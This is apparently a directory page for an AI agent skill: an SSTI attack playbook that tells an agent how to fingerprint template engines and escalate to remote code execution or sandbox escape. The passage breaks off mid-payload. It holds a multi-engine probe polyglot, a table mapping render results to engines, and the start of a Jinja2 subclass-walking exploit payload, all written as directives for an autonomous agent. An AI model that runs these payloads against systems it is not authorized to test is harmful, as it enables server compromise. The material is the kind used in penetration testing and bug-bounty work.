← ClaudeAtlas

sstilisted

Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or sandbox escape. Use when user input is reflected through a template engine (Jinja2/Twig/Velocity/Freemarker/ERB/Smarty/Mako/Handlebars/Pug) or {{7*7}} evaluates to 49.
Wulan234/agent · ★ 0 · AI & Automation · score 75
Install: claude install-skill Wulan234/agent
# SSTI playbook You suspect user input is concatenated into a server-side template. The classic tell: `{{7*7}}` renders as `49` (not as the literal). But that's only the start — to file a real bug you must identify the engine, then prove RCE or read sensitive state. Execution rule: send probes to the real reflected parameter or template sink before escalating. Never write literal placeholder values to files; if the sink is unknown, first discover it with `http`/curl. ## 1. Fingerprint the engine — fast Use `read_payloads(skill="ssti", file="fingerprint-polyglot.txt")` for the canonical multi-engine probe: ``` ${7*7} {{7*7}} <%= 7*7 %> *{7*7} {{7*'7'}} ``` Cross-reference results: | Render result | Engine | |---|---| | `49` from `{{7*7}}` AND `7777777` from `{{7*'7'}}` | **Jinja2** (Python) | | `49` from `{{7*7}}` AND `49` from `{{7*'7'}}` | **Twig** (PHP) | | `49` from `${7*7}` | **Velocity** / **Freemarker** / Mako (probe further) | | `49` from `<%= 7*7 %>` | **ERB** (Ruby) / EJS (Node) | | `49` from `*{7*7}` | **Smarty** | | Output of `{{7*7}}` literally | Not an SSTI primitive — look elsewhere | Distinguish Velocity from Freemarker: `${"foo".getClass()}` returns `class java.lang.String` for both; **Freemarker** chokes on `<#assign>` outside a template block; **Velocity** specifically renders `#set($x=7*7)$x` as `49`. ## 2. Engine-specific exploitation ### Jinja2 (Python, Flask) ``` {{ ''.__class__.__mro__[1].__subclasses__() }} ``` Find an index where the subcl